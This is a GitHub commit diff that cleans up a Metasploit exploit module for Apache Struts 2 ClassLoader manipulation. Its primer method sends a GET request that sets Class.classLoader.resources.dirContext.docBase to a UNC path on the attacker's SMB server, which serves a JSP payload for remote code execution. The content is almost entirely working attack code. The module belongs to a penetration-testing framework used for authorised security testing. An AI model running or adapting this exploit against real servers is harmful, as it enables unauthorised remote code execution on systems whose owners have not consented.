Skip to content

Commit de08d82

Browse files
committed
Do some module cleanup
1 parent 82659ab commit de08d82

File tree

1 file changed

+23
-25
lines changed

1 file changed

+23
-25
lines changed

modules/exploits/windows/http/struts_http_jspinject.rb

+23-25
Original file line numberDiff line numberDiff line change
@@ -29,30 +29,31 @@ def initialize(info={})
2929
],
3030
'DefaultOptions' =>
3131
{
32-
'EXITFUNC' => 'process',
33-
'DisablePayloadHandler' => 'false',
32+
'EXITFUNC' => 'process'
33+
},
34+
'Payload' =>
35+
{
36+
'Space' => 2048,
37+
'DisableNops' => true
3438
},
3539
'Privileged' => true,
3640
'Arch' => ARCH_JAVA,
37-
'Platform' => [ 'win' ],
41+
'Platform' => 'win',
42+
'Stance' => Msf::Exploit::Stance::Aggressive,
3843
'Targets' =>
39-
[
40-
[ 'Java Universal',
41-
{
42-
'Arch' => ARCH_JAVA,
43-
'Platform' => ['win','linux']
44-
},
45-
]
46-
],
44+
[
45+
['Java Universal', {}]
46+
],
4747
'DefaultTarget' => 0,
4848
))
4949

5050
register_options(
5151
[
52-
OptString.new('URI', [true, 'Path to vulnerable Struts action file', '/struts2-blank/example/HelloWorld.action', true ]),
52+
OptString.new('TARGETURI', [true, 'Path to vulnerable Struts action file', '/struts2-blank/example/HelloWorld.action']),
5353
OptString.new('FILE_NAME', [ true, 'A static JSP name', 'HelloWorld.jsp']),
5454
OptString.new('FOLDER_NAME', [ true, 'A static Folder', 'example']),
5555
OptString.new('SHARE', [ true, 'Share', 'share']),
56+
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]),
5657
Opt::RPORT(8080)
5758
], self.class)
5859

@@ -73,26 +74,23 @@ def check
7374
def primer
7475
self.file_contents = payload.encoded
7576
print_status("File available on #{unc}...")
76-
share = "#{unc}"
77-
sploit = datastore['URI']
78-
share = share.gsub(/\\/, '/')
79-
#sploit << '?class.classLoader.resources.dirContext.docBase='
77+
78+
sploit = target_uri.to_s
8079
sploit << '?Class.classLoader.resources.dirContext.docBase='
81-
#sploit << '?Class.classLoader.resources.context.effectiveMajorVersion='
82-
#sploit << "?class['classLoader']['resources']['dirContext']['docBase']="
83-
sploit << share
80+
sploit << "\\\\#{srvhost}\\#{share}"
8481
print_status("Injecting JSP to #{datastore['RHOST']}:#{datastore['RPORT']} - #{sploit}")
8582

86-
res = send_request_raw({
83+
send_request_raw({
8784
'method' => 'GET',
8885
'uri' => sploit
8986
}, 30)
87+
end
9088

91-
# Wait 30 seconds for session to be created
92-
1.upto(30) do
93-
break if session_created?
94-
sleep(1)
89+
def exploit
90+
begin
91+
Timeout.timeout(datastore['SMB_DELAY']) {super}
92+
rescue Timeout::Error
93+
# do nothing... just finish exploit and stop smb server...
9594
end
96-
disconnect
9795
end
9896
end

0 commit comments

Comments
 (0)